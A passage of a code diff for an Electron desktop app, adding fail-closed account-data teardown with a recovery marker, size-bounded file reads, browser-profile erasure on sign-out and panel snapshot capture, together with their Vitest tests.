+import { join } from 'node:path'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import {
+  beginAccountDataTeardown,
+  captureAccountDataGeneration,
+  completeAccountDataTeardown,
+  completeDeploymentScopedTeardown,
+  getAccountDataTeardownKind,
+  getAccountDataTeardownOrigin,
+  initializeAccountDataRecovery,
+  invalidateAccountDataOperations,
+  isAccountDataTeardownRequired,
+  prepareAccountDataTeardownForQuit,
+  retryAccountDataTeardown,
+  runAccountDataMutation,
+  waitForAccountDataMutations,
+} from '@/main/account-data-generation'
+
+const ORIGIN = 'https://sim.example.com'
+
+describe('account data generation', () => {
+  let directory: string
+  let markerPath: string
+
+  beforeEach(() => {
+    directory = mkdtempSync(join(tmpdir(), 'sim-account-recovery-'))
+    markerPath = join(directory, 'teardown-required.json')
+    initializeAccountDataRecovery(markerPath)
+  })
+
+  afterEach(async () => {
+    completeAccountDataTeardown()
+    initializeAccountDataRecovery(null)
+    await rm(directory, { recursive: true, force: true })
+  })
+
+  it('blocks account-data mutations and persists teardown intent', () => {
+    expect(beginAccountDataTeardown('account', ORIGIN)).toBe(true)
+
+    expect(existsSync(markerPath)).toBe(true)
+    expect(JSON.parse(readFileSync(markerPath, 'utf8'))).toEqual({
+      version: 2,
+      kind: 'account',
+      origin: ORIGIN,
+    })
+    expect(isAccountDataTeardownRequired()).toBe(true)
+  })
+
+  it('fails closed and retries marker persistence before quit', () => {
+    const blockedParent = join(directory, 'blocked')
+    markerPath = join(blockedParent, 'teardown-required.json')
+    initializeAccountDataRecovery(markerPath)
+    writeFileSync(blockedParent, 'not a directory')
+
+    expect(beginAccountDataTeardown('account', ORIGIN)).toBe(false)
+    expect(isAccountDataTeardownRequired()).toBe(false)
+    expect(prepareAccountDataTeardownForQuit()).toBe(true)
+
+    unlinkSync(blockedParent)
+    mkdirSync(blockedParent)
+    expect(beginAccountDataTeardown('account', ORIGIN)).toBe(true)
+    expect(existsSync(markerPath)).toBe(true)
+  })
+
+  it('does not erase data when the recovery marker cannot be written', async () => {
+    const blockedParent = join(directory, 'blocked')
+    markerPath = join(blockedParent, 'teardown-required.json')
+    initializeAccountDataRecovery(markerPath)
+    writeFileSync(blockedParent, 'not a directory')
+    const generation = captureAccountDataGeneration()
+    expect(beginAccountDataTeardown('account', ORIGIN)).toBe(false)
+    const firstClear = vi.fn(async () => {})
+    const secondClear = vi.fn(async () => {})
+
+    await expect(
+      retryAccountDataTeardown([
+        { label: 'browser profile', clear: firstClear },
+        { label: 'local filesystem grants', clear: secondClear },
+      ])
+    ).resolves.toEqual([])
+
+    expect(firstClear).not.toHaveBeenCalled()
+    expect(secondClear).not.toHaveBeenCalled()
+    expect(isAccountDataTeardownRequired()).toBe(false)
+    await expect(runAccountDataMutation(generation, async () => 'ok')).resolves.toBe('ok')
+  })
+
+  it('restores the fail-closed state from a marker and clears it only on completion', () => {
+    writeFileSync(markerPath, JSON.stringify({ version: 2, kind: 'deployment', origin: ORIGIN }))
+
+    expect(initializeAccountDataRecovery(markerPath)).toBe(true)
+    expect(isAccountDataTeardownRequired()).toBe(true)
+    expect(getAccountDataTeardownKind()).toBe('deployment')
+    expect(getAccountDataTeardownOrigin()).toBe(ORIGIN)
+
+    completeAccountDataTeardown()
+    expect(existsSync(markerPath)).toBe(false)
+    expect(isAccountDataTeardownRequired()).toBe(false)
+    expect(getAccountDataTeardownKind()).toBeNull()
+  })
+
+  it('keeps recovery gated until a retry clears every account store', async () => {
+    beginAccountDataTeardown('account', ORIGIN)
+    const failedClear = vi.fn(async () => {
+      throw new Error('keychain unavailable')
+    })
+    const successfulClear = vi.fn(async () => {})
+
+    await expect(
+      retryAccountDataTeardown([
+        { label: 'browser profile', clear: failedClear },
+        { label: 'local filesystem grants', clear: successfulClear },
+      ])
+    ).resolves.toEqual(['browser profile'])
+    expect(existsSync(markerPath)).toBe(true)
+    expect(isAccountDataTeardownRequired()).toBe(true)
+
+    await expect(
+      retryAccountDataTeardown([
+        { label: 'browser profile', clear: successfulClear },
+        { label: 'local filesystem grants', clear: successfulClear },
+      ])
+    ).resolves.toEqual([])
+    expect(existsSync(markerPath)).toBe(false)
+    expect(isAccountDataTeardownRequired()).toBe(false)
+  })
+
+  it('never downgrades or clears an account recovery marker for a server switch', () => {
+    beginAccountDataTeardown('account', ORIGIN)
+    beginAccountDataTeardown('deployment', ORIGIN)
+    const commit = vi.fn(() => true)
+
+    expect(getAccountDataTeardownKind()).toBe('account')
+    expect(completeDeploymentScopedTeardown(commit)).toBe(false)
+    expect(commit).not.toHaveBeenCalled()
+    expect(existsSync(markerPath)).toBe(true)
+    expect(isAccountDataTeardownRequired()).toBe(true)
+  })
+
+  it('does not retarget an active teardown to a different origin', () => {
+    beginAccountDataTeardown('deployment', ORIGIN)
+
+    expect(beginAccountDataTeardown('account', 'https://other.example.com')).toBe(false)
+    expect(getAccountDataTeardownKind()).toBe('deployment')
+    expect(getAccountDataTeardownOrigin()).toBe(ORIGIN)
+    expect(JSON.parse(readFileSync(markerPath, 'utf8'))).toEqual({
+      version: 2,
+      kind: 'deployment',
+      origin: ORIGIN,
+    })
+  })
+
+  it('keeps deployment recovery armed when the server configuration commit fails', () => {
+    beginAccountDataTeardown('deployment', ORIGIN)
+
+    expect(completeDeploymentScopedTeardown(() => false)).toBe(false)
+    expect(existsSync(markerPath)).toBe(true)
+    expect(isAccountDataTeardownRequired()).toBe(true)
+  })
+
+  it('keeps deployment recovery armed when the server configuration commit throws', () => {
+    beginAccountDataTeardown('deployment', ORIGIN)
+
+    expect(() =>
+      completeDeploymentScopedTeardown(() => {
+        throw new Error('disk unavailable')
+      })
+    ).toThrow('disk unavailable')
+    expect(existsSync(markerPath)).toBe(true)
+    expect(isAccountDataTeardownRequired()).toBe(true)
+  })
+
+  it('reports successful completion of a deployment-scoped teardown', () => {
+    beginAccountDataTeardown('deployment', ORIGIN)
+
+    expect(completeDeploymentScopedTeardown(() => true)).toBe(true)
+    expect(isAccountDataTeardownRequired()).toBe(false)
+  })
+
+  it('treats an unknown marker version as an untrusted account teardown', () => {
+    writeFileSync(markerPath, '{"version":3,"kind":"deployment","origin":"https://old.example"}')
+
+    initializeAccountDataRecovery(markerPath)
+
+    expect(getAccountDataTeardownKind()).toBe('account')
+    expect(getAccountDataTeardownOrigin()).toBeNull()
+    expect(prepareAccountDataTeardownForQuit()).toBe(false)
+  })
+
+  it('waits for an admitted commit before teardown can clear its store', async () => {
+    let releaseMutation: (() => void) | undefined
+    const mutation = new Promise<void>((resolve) => {
+      releaseMutation = resolve
+    })
+    const generation = captureAccountDataGeneration()
+    const pendingMutation = runAccountDataMutation(generation, () => mutation)
+
+    invalidateAccountDataOperations()
+    const settled = vi.fn()
+    const pendingWait = waitForAccountDataMutations().then(settled)
+    await Promise.resolve()
+    expect(settled).not.toHaveBeenCalled()
+
+    releaseMutation?.()
+    await pendingMutation
+    await pendingWait
+    expect(settled).toHaveBeenCalledOnce()
+  })
+
+  it('rejects a stale commit after teardown begins', async () => {
+    const generation = captureAccountDataGeneration()
+    invalidateAccountDataOperations()
+    const mutation = vi.fn(async () => {})
+
+    await expect(runAccountDataMutation(generation, mutation)).rejects.toThrow(
+      'expired during teardown'
+    )
+    expect(mutation).not.toHaveBeenCalled()
+  })
+})
diff --git a/apps/desktop/src/main/account-data-generation.ts b/apps/desktop/src/main/account-data-generation.ts
new file mode 100644
index 00000000000..9a24ed70050
--- /dev/null
+++ b/apps/desktop/src/main/account-data-generation.ts
@@ -0,0 +1,223 @@
+import { readFileSync, unlinkSync } from 'node:fs'
+import { writeJsonFileAtomicallySync } from '@/main/atomic-json-file'
+import { canonicalOrigin, validateOriginInput } from '@/main/config'
+
+const RECOVERY_MARKER_VERSION = 2
+export type AccountDataTeardownKind = 'account' | 'deployment'
+
+interface AccountDataRecoveryMarker {
+  kind: AccountDataTeardownKind
+  origin: string | null
+}
+
+let generation = 0
+let teardownRequired = false
+let teardownKind: AccountDataTeardownKind | null = null
+let teardownOrigin: string | null = null
+let recoveryMarkerPath: string | null = null
+let durableTeardownKind: AccountDataTeardownKind | null = null
+let durableTeardownOrigin: string | null = null
+const activeMutations = new Set<Promise<unknown>>()
+
+export class ExpiredAccountDataOperationError extends Error {
+  constructor() {
+    super('The account-data operation expired during teardown.')
+    this.name = 'ExpiredAccountDataOperationError'
+  }
+}
+
+export function captureAccountDataGeneration(): number {
+  return generation
+}
+
+/** Expires work already in progress without changing whether new work is admitted. */
+export function advanceAccountDataGeneration(): void {
+  generation += 1
+}
+
+/** Restores the fail-closed teardown state before account-bearing stores open. */
+export function initializeAccountDataRecovery(filePath: string | null): boolean {
+  recoveryMarkerPath = filePath
+  const marker = filePath ? readRecoveryMarker(filePath) : null
+  const recoveryRequired = marker !== null
+  if (recoveryRequired && !teardownRequired) {
+    advanceAccountDataGeneration()
+  }
+  teardownRequired = recoveryRequired
+  teardownKind = marker?.kind ?? null
+  teardownOrigin = marker?.origin ?? null
+  durableTeardownKind = marker?.kind ?? null
+  durableTeardownOrigin = marker?.origin ?? null
+  return recoveryRequired
+}
+
+export function invalidateAccountDataOperations(): void {
+  advanceAccountDataGeneration()
+  teardownRequired = true
+}
+
+/** Persists recovery intent before invalidating account-data work. */
+export function beginAccountDataTeardown(kind: AccountDataTeardownKind, origin: string): boolean {
+  const validated = validateOriginInput(origin)
+  if (!validated.ok) return false
+  const targetOrigin = canonicalOrigin(validated.origin)
+  if (teardownRequired && teardownOrigin !== targetOrigin) return false
+  const effectiveKind = kind === 'account' || teardownKind === 'account' ? 'account' : 'deployment'
+  if (!persistAccountDataRecoveryMarker(effectiveKind, targetOrigin)) return false
+  const wasRequired = teardownRequired
+  teardownKind = effectiveKind
+  teardownOrigin = targetOrigin
+  teardownRequired = true
+  if (!wasRequired) advanceAccountDataGeneration()
+  return true
+}
+
+export function isAccountDataTeardownRequired(): boolean {
+  return teardownRequired
+}
+
+export function getAccountDataTeardownKind(): AccountDataTeardownKind | null {
+  return teardownKind
+}
+
+export function getAccountDataTeardownOrigin(): string | null {
+  return teardownOrigin
+}
+
+/** Retries marker persistence so shutdown cannot lose an incomplete teardown. */
+export function prepareAccountDataTeardownForQuit(): boolean {
+  return (
+    !teardownRequired ||
+    (teardownKind !== null &&
+      teardownOrigin !== null &&
+      persistAccountDataRecoveryMarker(teardownKind, teardownOrigin))
+  )
+}
+
+export interface AccountDataRecoveryStore {
+  label: string
+  clear: () => void | Promise<void>
+}
+
+/** Retries every erasure from an interrupted teardown without restoring stores first. */
+export async function retryAccountDataTeardown(
+  stores: readonly AccountDataRecoveryStore[]
+): Promise<readonly string[]> {
+  if (!teardownRequired) return []
+  await waitForAccountDataMutations()
+  const outcomes = await Promise.allSettled(
+    stores.map(({ clear }) => Promise.resolve().then(clear))
+  )
+  const failures = outcomes.flatMap((outcome, index) =>
+    outcome.status === 'rejected' ? [stores[index].label] : []
+  )
+  if (failures.length === 0) {
+    completeAccountDataTeardown()
+  }
+  return failures
+}
+
+export function isAccountDataGenerationCurrent(capturedGeneration: number): boolean {
+  return !teardownRequired && capturedGeneration === generation
+}
+
+/** Allows account-data mutations again only after every sensitive store was erased. */
+export function completeAccountDataTeardown(): void {
+  if (recoveryMarkerPath) {
+    try {
+      unlinkSync(recoveryMarkerPath)
+    } catch (error) {
+      const code = (error as NodeJS.ErrnoException).code
+      if (code !== 'ENOENT' && code !== 'ENOTDIR') throw error
+    }
+  }
+  durableTeardownKind = null
+  durableTeardownOrigin = null
+  teardownRequired = false
+  teardownKind = null
+  teardownOrigin = null
+}
+
+/** Commits a server switch and clears its marker without weakening an account wipe. */
+export function completeDeploymentScopedTeardown(commit: () => boolean): boolean {
+  if (teardownKind !== 'deployment') return false
+  if (!commit()) return false
+  completeAccountDataTeardown()
+  return true
+}
+
+/** Tracks a persistent mutation so teardown waits for it to settle. */
+export async function runAccountDataMutation<T>(
+  capturedGeneration: number,
+  operation: () => Promise<T>
+): Promise<T> {
+  if (!isAccountDataGenerationCurrent(capturedGeneration)) {
+    throw new ExpiredAccountDataOperationError()
+  }
+  const pending = operation()
+  activeMutations.add(pending)
+  try {
+    return await pending
+  } finally {
+    activeMutations.delete(pending)
+  }
+}
+
+/** Waits until commits already admitted for the outgoing account have settled. */
+export async function waitForAccountDataMutations(): Promise<void> {
+  while (activeMutations.size > 0) {
+    await Promise.allSettled([...activeMutations])
+  }
+}
+
+function persistAccountDataRecoveryMarker(kind: AccountDataTeardownKind, origin: string): boolean {
+  if (
+    durableTeardownOrigin === origin &&
+    (durableTeardownKind === 'account' ||
+      (durableTeardownKind === 'deployment' && kind === 'deployment'))
+  ) {
+    return true
+  }
+  if (!recoveryMarkerPath) return false
+  try {
+    writeJsonFileAtomicallySync(recoveryMarkerPath, {
+      version: RECOVERY_MARKER_VERSION,
+      kind,
+      origin,
+    })
+    durableTeardownKind = kind
+    durableTeardownOrigin = origin
+    return true
+  } catch {
+    return false
+  }
+}
+
+function readRecoveryMarker(filePath: string): AccountDataRecoveryMarker | null {
+  let raw: string
+  try {
+    raw = readFileSync(filePath, 'utf8')
+  } catch (error) {
+    return (error as NodeJS.ErrnoException).code === 'ENOENT'
+      ? null
+      : { kind: 'account', origin: null }
+  }
+
+  try {
+    const parsed = JSON.parse(raw) as { kind?: unknown; origin?: unknown; version?: unknown }
+    if (
+      parsed.version !== RECOVERY_MARKER_VERSION ||
+      (parsed.kind !== 'account' && parsed.kind !== 'deployment') ||
+      typeof parsed.origin !== 'string'
+    ) {
+      return { kind: 'account', origin: null }
+    }
+    const validated = validateOriginInput(parsed.origin)
+    if (!validated.ok || canonicalOrigin(validated.origin) !== parsed.origin) {
+      return { kind: 'account', origin: null }
+    }
+    return { kind: parsed.kind, origin: parsed.origin }
+  } catch {
+    return { kind: 'account', origin: null }
+  }
+}
diff --git a/apps/desktop/src/main/atomic-json-file.test.ts b/apps/desktop/src/main/atomic-json-file.test.ts
new file mode 100644
index 00000000000..fdb1fce2c08
--- /dev/null
+++ b/apps/desktop/src/main/atomic-json-file.test.ts
@@ -0,0 +1,47 @@
+import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { afterEach, beforeEach, describe, expect, it } from 'vitest'
+import {
+  FileResourceLimitError,
+  readFileWithinLimit,
+  readFileWithinLimitSync,
+} from '@/main/atomic-json-file'
+
+describe('bounded file reads', () => {
+  let directory: string
+
+  beforeEach(() => {
+    directory = mkdtempSync(join(tmpdir(), 'sim-bounded-file-'))
+  })
+
+  afterEach(() => {
+    rmSync(directory, { recursive: true, force: true })
+  })
+
+  it('reads the file through its opened handle', async () => {
+    const filePath = join(directory, 'store.json')
+    writeFileSync(filePath, 'bounded payload')
+
+    await expect(readFileWithinLimit(filePath, 15)).resolves.toEqual(Buffer.from('bounded payload'))
+    expect(readFileWithinLimitSync(filePath, 15)).toEqual(Buffer.from('bounded payload'))
+  })
+
+  it('rejects a file larger than the configured limit', async () => {
+    const filePath = join(directory, 'store.json')
+    writeFileSync(filePath, 'too large')
+
+    await expect(readFileWithinLimit(filePath, 8)).rejects.toBeInstanceOf(FileResourceLimitError)
+    expect(() => readFileWithinLimitSync(filePath, 8)).toThrow(FileResourceLimitError)
+  })
+
+  it('rejects non-file handles', async () => {
+    const childDirectory = join(directory, 'store')
+    mkdirSync(childDirectory)
+
+    await expect(readFileWithinLimit(childDirectory, 100)).rejects.toBeInstanceOf(
+      FileResourceLimitError
+    )
+    expect(() => readFileWithinLimitSync(childDirectory, 100)).toThrow(FileResourceLimitError)
+  })
+})
diff --git a/apps/desktop/src/main/atomic-json-file.ts b/apps/desktop/src/main/atomic-json-file.ts
index 4561b4c0447..ff364e2dc40 100644
--- a/apps/desktop/src/main/atomic-json-file.ts
+++ b/apps/desktop/src/main/atomic-json-file.ts
@@ -1,10 +1,71 @@
-import { mkdirSync, renameSync, writeFileSync } from 'node:fs'
-import { mkdir, rename, unlink, writeFile } from 'node:fs/promises'
+import {
+  closeSync,
+  fstatSync,
+  mkdirSync,
+  openSync,
+  readSync,
+  renameSync,
+  writeFileSync,
+} from 'node:fs'
+import { mkdir, open, rename, unlink, writeFile } from 'node:fs/promises'
 import { dirname } from 'node:path'
 
 /** Owner-only, matching every store that keeps user data in userData. */
 const FILE_MODE = 0o600
 
+export class FileResourceLimitError extends Error {
+  constructor() {
+    super('File exceeded the configured size limit')
+    this.name = 'FileResourceLimitError'
+  }
+}
+
+function validateReadableFile(isFile: boolean, size: number, maxBytes: number): void {
+  if (!isFile || !Number.isSafeInteger(size) || size < 0 || size > maxBytes) {
+    throw new FileResourceLimitError()
+  }
+}
+
+/** Reads at most the size observed on the opened file handle, plus one growth-detection byte. */
+export async function readFileWithinLimit(filePath: string, maxBytes: number): Promise<Buffer> {
+  const handle = await open(filePath, 'r')
+  try {
+    const metadata = await handle.stat()
+    validateReadableFile(metadata.isFile(), metadata.size, maxBytes)
+    const buffer = Buffer.allocUnsafe(metadata.size + 1)
+    let offset = 0
+    while (offset < buffer.length) {
+      const { bytesRead } = await handle.read(buffer, offset, buffer.length - offset, offset)
+      if (bytesRead === 0) break
+      offset += bytesRead
+    }
+    if (offset > metadata.size) throw new FileResourceLimitError()
+    return buffer.subarray(0, offset)
+  } finally {
+    await handle.close()
+  }
+}
+
+/** Synchronous counterpart for Electron shutdown and startup paths that cannot await. */
+export function readFileWithinLimitSync(filePath: string, maxBytes: number): Buffer {
+  const descriptor = openSync(filePath, 'r')
+  try {
+    const metadata = fstatSync(descriptor)
+    validateReadableFile(metadata.isFile(), metadata.size, maxBytes)
+    const buffer = Buffer.allocUnsafe(metadata.size + 1)
+    let offset = 0
+    while (offset < buffer.length) {
+      const bytesRead = readSync(descriptor, buffer, offset, buffer.length - offset, offset)
+      if (bytesRead === 0) break
+      offset += bytesRead
+    }
+    if (offset > metadata.size) throw new FileResourceLimitError()
+    return buffer.subarray(0, offset)
+  } finally {
+    closeSync(descriptor)
+  }
+}
+
 /**
  * Distinct per call, not just per process.
  *
diff --git a/apps/desktop/src/main/browser-agent/driver-profile.test.ts b/apps/desktop/src/main/browser-agent/driver-profile.test.ts
new file mode 100644
index 00000000000..fb77abf35d5
--- /dev/null
+++ b/apps/desktop/src/main/browser-agent/driver-profile.test.ts
@@ -0,0 +1,55 @@
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+
+vi.mock('electron', () => import('@/test/electron-mock'))
+
+const mocks = vi.hoisted(() => ({
+  clearProfileStorage: vi.fn(async () => {}),
+  clearCredentials: vi.fn(async () => {}),
+}))
+
+vi.mock('@/main/browser-agent/session', () => ({
+  clearProfileStorage: mocks.clearProfileStorage,
+  initSession: vi.fn(),
+}))
+
+vi.mock('@/main/browser-credentials', () => ({
+  clearCredentials: mocks.clearCredentials,
+  fillCoordinator: vi.fn(() => null),
+  initFillCoordinator: vi.fn(),
+}))
+
+import { clearBrowserProfile, initDriver } from '@/main/browser-agent/driver'
+import type { ConfigStore } from '@/main/config'
+
+describe('clearBrowserProfile', () => {
+  beforeEach(() => {
+    vi.clearAllMocks()
+  })
+
+  it('requires settings erasure for sign-out but lets explicit server repair replace it', async () => {
+    const config = {
+      get: vi.fn(() => undefined),
+      set: vi.fn(),
+      flush: vi.fn(() => false),
+    } as unknown as ConfigStore
+    initDriver(
+      {
+        onPageState: vi.fn(),
+        onTabsState: vi.fn(),
+        onSessionStatus: vi.fn(),
+        onFillAvailability: vi.fn(),
+      },
+      () => null,
+      config
+    )
+
+    await expect(clearBrowserProfile()).rejects.toThrow('Browser profile teardown was incomplete')
+    await expect(
+      clearBrowserProfile({ settingsPersistence: 'server-repair' })
+    ).resolves.toBeUndefined()
+
+    expect(mocks.clearProfileStorage).toHaveBeenCalledTimes(2)
+    expect(mocks.clearCredentials).toHaveBeenCalledTimes(2)
+    expect(config.flush).toHaveBeenCalledTimes(2)
+  })
+})
diff --git a/apps/desktop/src/main/browser-agent/driver.test.ts b/apps/desktop/src/main/browser-agent/driver.test.ts
index f165bac475c..84613c62d1a 100644
--- a/apps/desktop/src/main/browser-agent/driver.test.ts
+++ b/apps/desktop/src/main/browser-agent/driver.test.ts
@@ -571,6 +571,23 @@ describe('executeTool', () => {
     )
   })
 
+  it('routes an exact renderer media decision through the scoped session boundary', async () => {
+    const respond = vi.spyOn(session, 'respondToMediaPermission').mockResolvedValue()
+
+    await driver.handlePanelAction('chat-test', {
+      action: 'respond-media-permission',
+      requestId: 'request-1',
+      allowed: true,
+    })
+    await driver.handlePanelAction('chat-test', {
+      action: 'respond-media-permission',
+      requestId: 'request-2',
+    })
+
+    expect(respond).toHaveBeenCalledOnce()
+    expect(respond).toHaveBeenCalledWith('request-1', true)
+  })
+
   it('keeps tool queues and tab state isolated by chat scope', async () => {
     await driver.executeTool('chat-a', 'browser_open_tab', {})
     await driver.executeTool('chat-a', 'browser_open_tab', {})
diff --git a/apps/desktop/src/main/browser-agent/driver.ts b/apps/desktop/src/main/browser-agent/driver.ts
index 4964ec01691..d8ce0631824 100644
--- a/apps/desktop/src/main/browser-agent/driver.ts
+++ b/apps/desktop/src/main/browser-agent/driver.ts
@@ -265,6 +265,7 @@ function recordNotice(notice: string): void {
  */
 function pageStateFor(contents: WebContents, tabId: string): BrowserPageState {
   const issue = session.pageIssueForContents(contents)
+  const mediaPermissionRequest = session.mediaPermissionRequestForContents(contents)
   return {
     scopeId: session.getBrowserScopeId(),
     tabId,
@@ -274,6 +275,7 @@ function pageStateFor(contents: WebContents, tabId: string): BrowserPageState {
     canGoBack: session.canGoBack(contents),
     canGoForward: session.canGoForward(contents),
     ...(issue ? { issue } : {}),
+    ...(mediaPermissionRequest ? { mediaPermissionRequest } : {}),
   }
 }
 
@@ -661,8 +663,9 @@ export async function clearBrowsingData(
 ): Promise<void> {
   // The remembered browsing trail is the local mirror of the cookie jar, so it
   // goes when cookies do and stays when they do not.
-  if (kinds.includes('cookies')) knownSessions?.clear()
+  const settingsCleared = !kinds.includes('cookies') || knownSessions?.clear() !== false
   await session.clearAgentData(kinds)
+  if (!settingsCleared) throw new Error('Browser settings could not be erased')
 }
 
 /**
@@ -671,15 +674,32 @@ export async function clearBrowsingData(
  * in on the same machine must not inherit the previous user's sessions or
  * passwords.
  */
-export async function clearBrowserProfile(): Promise<void> {
-  knownSessions?.clear()
-  await session.clearProfileStorage()
-  await clearCredentials()
+export interface ClearBrowserProfileOptions {
+  /** The server picker will replace the blocked settings file immediately after profile erasure. */
+  settingsPersistence: 'required' | 'server-repair'
+}
+
+export async function clearBrowserProfile(
+  options: ClearBrowserProfileOptions = { settingsPersistence: 'required' }
+): Promise<void> {
+  const settingsCleared = knownSessions?.clear() !== false
+  const outcomes = await Promise.allSettled([session.clearProfileStorage(), clearCredentials()])
   // Last, covering the pinned-tab list `clearProfileStorage` just emptied.
   // Settings writes coalesce, and an erasure that is still sitting in that
   // window when the process dies leaves the previous account's data on disk
   // after sign-out already told the user it was gone.
-  configStore?.flush()
+  if (
+    (!settingsCleared || configStore?.flush() === false) &&
+    options.settingsPersistence === 'required'
+  ) {
+    outcomes.push({ status: 'rejected', reason: new Error('Browser settings could not be erased') })
+  }
+  const failures = outcomes.flatMap((outcome) =>
+    outcome.status === 'rejected' ? [outcome.reason] : []
+  )
+  if (failures.length > 0) {
+    throw new AggregateError(failures, 'Browser profile teardown was incomplete.')
+  }
 }
 
 function str(params: Record<string, unknown>, key: string): string | undefined {
@@ -3798,6 +3818,12 @@ export async function handlePanelAction(
       }
       return
     }
+    if (action.action === 'respond-media-permission') {
+      if (typeof action.requestId === 'string' && typeof action.allowed === 'boolean') {
+        await session.respondToMediaPermission(action.requestId, action.allowed)
+      }
+      return
+    }
     // Navigate bootstraps the session: the user can open the panel manually
     // (before the agent ever touched the browser) and drive it from the URL
     // bar. The other chrome actions need an existing page.
diff --git a/apps/desktop/src/main/browser-agent/known-sessions.ts b/apps/desktop/src/main/browser-agent/known-sessions.ts
index 2fd23a97da7..e248faf0ad0 100644
--- a/apps/desktop/src/main/browser-agent/known-sessions.ts
+++ b/apps/desktop/src/main/browser-agent/known-sessions.ts
@@ -168,14 +168,14 @@ export class BrowserKnownSessionRegistry {
    * whoever was signed in, so Sim sign-out must not leave it for the next
    * account.
    */
-  clear(): void {
+  clear(): boolean {
     this.config.set('browserKnownSites', [])
     // Not left to the debounce. Ordinary writes here can afford to coalesce,
     // but this one is an erasure the user asked for: if the process dies in
     // the coalescing window — force quit, crash, OS shutdown — the previous
     // account's browsing trail is still on disk for whoever signs in next,
     // and sign-out has already reported success.
-    this.config.flush()
+    return this.config.flush()
   }
 
   list(cookieSignals: BrowserCookieSignal[]): BrowserKnownSessionsState {
diff --git a/apps/desktop/src/main/browser-agent/panel.test.ts b/apps/desktop/src/main/browser-agent/panel.test.ts
index 91fd776cd15..d8d04665315 100644
--- a/apps/desktop/src/main/browser-agent/panel.test.ts
+++ b/apps/desktop/src/main/browser-agent/panel.test.ts
@@ -126,6 +126,141 @@ describe('panel chat scope', () => {
     expect(view.setBounds).not.toHaveBeenCalled()
   })
 
+  it('recovers when capturePage throws before returning a promise', async () => {
+    const { win, view } = showPanel(panel)
+    const scopeId = panel.getActivePanelScopeId()
+    const image = await view.webContents.capturePage()
+    vi.mocked(view.webContents.capturePage).mockImplementationOnce(() => {
+      throw new Error('WebContents was destroyed')
+    })
+
+    await expect(panel.capturePanelSnapshot(win, scopeId)).resolves.toBeNull()
+
+    vi.mocked(view.webContents.capturePage).mockResolvedValue(image)
+    await expect(panel.capturePanelSnapshot(win, scopeId)).resolves.toMatchObject({
+      dataUrl: 'data:image/png;base64,c2lt',
+    })
+  })
+
+  it('shares one native capture across concurrent requests for the same frame', async () => {
+    const { win, view } = showPanel(panel)
+    const scopeId = panel.getActivePanelScopeId()
+    let resolveCapture:
+      | ((image: Awaited<ReturnType<typeof view.webContents.capturePage>>) => void)
+      | undefined
+    const image = await view.webContents.capturePage()
+    vi.mocked(view.webContents.capturePage).mockClear()
+    vi.mocked(view.webContents.capturePage).mockReturnValue(
+      new Promise((resolve) => {
+        resolveCapture = resolve
+      })
+    )
+
+    const first = panel.capturePanelSnapshot(win, scopeId)
+    const second = panel.capturePanelSnapshot(win, scopeId)
+    expect(view.webContents.capturePage).toHaveBeenCalledOnce()
+    resolveCapture?.(image)
+
+    await expect(Promise.all([first, second])).resolves.toHaveLength(2)
+    expect(view.webContents.capturePage).toHaveBeenCalledOnce()
+  })
+
+  it('does not dedupe a queued capture across panel owner windows', async () => {
+    const { win, view } = showPanel(panel)
+    const other = new BrowserWindow()
+    const scopeId = panel.getActivePanelScopeId()
+    const image = await view.webContents.capturePage()
+    const pendingCaptures: Array<(value: typeof image) => void> = []
+    vi.mocked(view.webContents.capturePage).mockClear()
+    vi.mocked(view.webContents.capturePage).mockImplementation(
+      () =>
+        new Promise((resolve) => {
+          pendingCaptures.push(resolve)
+        })
+    )
+
+    const first = panel.capturePanelSnapshot(win, scopeId)
+    panel.setPanelBounds(PANEL_RECT, other)
+    const second = panel.capturePanelSnapshot(other, scopeId)
+
+    expect(view.webContents.capturePage).toHaveBeenCalledOnce()
+    pendingCaptures[0]?.(image)
+    await expect(first).resolves.toBeNull()
+    await vi.waitFor(() => expect(view.webContents.capturePage).toHaveBeenCalledTimes(2))
+
+    pendingCaptures[1]?.(image)
+    await expect(second).resolves.toMatchObject({ dataUrl: 'data:image/png;base64,c2lt' })
+  })
+
+  it('serializes native captures and coalesces queued navigation requests to the latest page', async () => {
+    const { win, view } = showPanel(panel)
+    const scopeId = panel.getActivePanelScopeId()
+    const image = await view.webContents.capturePage()
+    const pendingCaptures: Array<(value: typeof image) => void> = []
+    vi.mocked(view.webContents.capturePage).mockClear()
+    vi.mocked(view.webContents.capturePage).mockImplementation(
+      () =>
+        new Promise((resolve) => {
+          pendingCaptures.push(resolve)
+        })
+    )
+
+    vi.mocked(view.webContents.getURL).mockReturnValue('https://one.example')
+    const first = panel.capturePanelSnapshot(win, scopeId)
+    vi.mocked(view.webContents.getURL).mockReturnValue('https://two.example')
+    const superseded = panel.capturePanelSnapshot(win, scopeId)
+    vi.mocked(view.webContents.getURL).mockReturnValue('https://three.example')
+    const latest = panel.capturePanelSnapshot(win, scopeId)
+
+    expect(view.webContents.capturePage).toHaveBeenCalledOnce()
+    await expect(superseded).resolves.toBeNull()
+    pendingCaptures[0]?.(image)
+    await expect(first).resolves.toBeNull()
+    await vi.waitFor(() => expect(view.webContents.capturePage).toHaveBeenCalledTimes(2))
+
+    pendingCaptures[1]?.(image)
+    await expect(latest).resolves.toMatchObject({ dataUrl: 'data:image/png;base64,c2lt' })
+    expect(view.webContents.capturePage).toHaveBeenCalledTimes(2)
+  })
+
+  it('does not dedupe content zoom changes that round to the same displayed percentage', async () => {
+    const { win, view } = showPanel(panel)
+    const scopeId = panel.getActivePanelScopeId()
+    const image = await view.webContents.capturePage()
+    const pendingCaptures: Array<(value: typeof image) => void> = []
+    vi.mocked(view.webContents.capturePage).mockClear()
+    vi.mocked(view.webContents.capturePage).mockImplementation(
+      () =>
+        new Promise((resolve) => {
+          pendingCaptures.push(resolve)
+        })
+    )
+
+    vi.mocked(view.webContents.getZoomFactor).mockReturnValue(1.101)
+    const first = panel.capturePanelSnapshot(win, scopeId)
+    vi.mocked(view.webContents.getZoomFactor).mockReturnValue(1.104)
+    const second = panel.capturePanelSnapshot(win, scopeId)
+
+    expect(view.webContents.capturePage).toHaveBeenCalledOnce()
+    pendingCaptures[0]?.(image)
+    await expect(first).resolves.toBeNull()
+    await vi.waitFor(() => expect(view.webContents.capturePage).toHaveBeenCalledTimes(2))
+
+    pendingCaptures[1]?.(image)
+    await expect(second).resolves.toMatchObject({ zoomPercent: 121 })
+  })
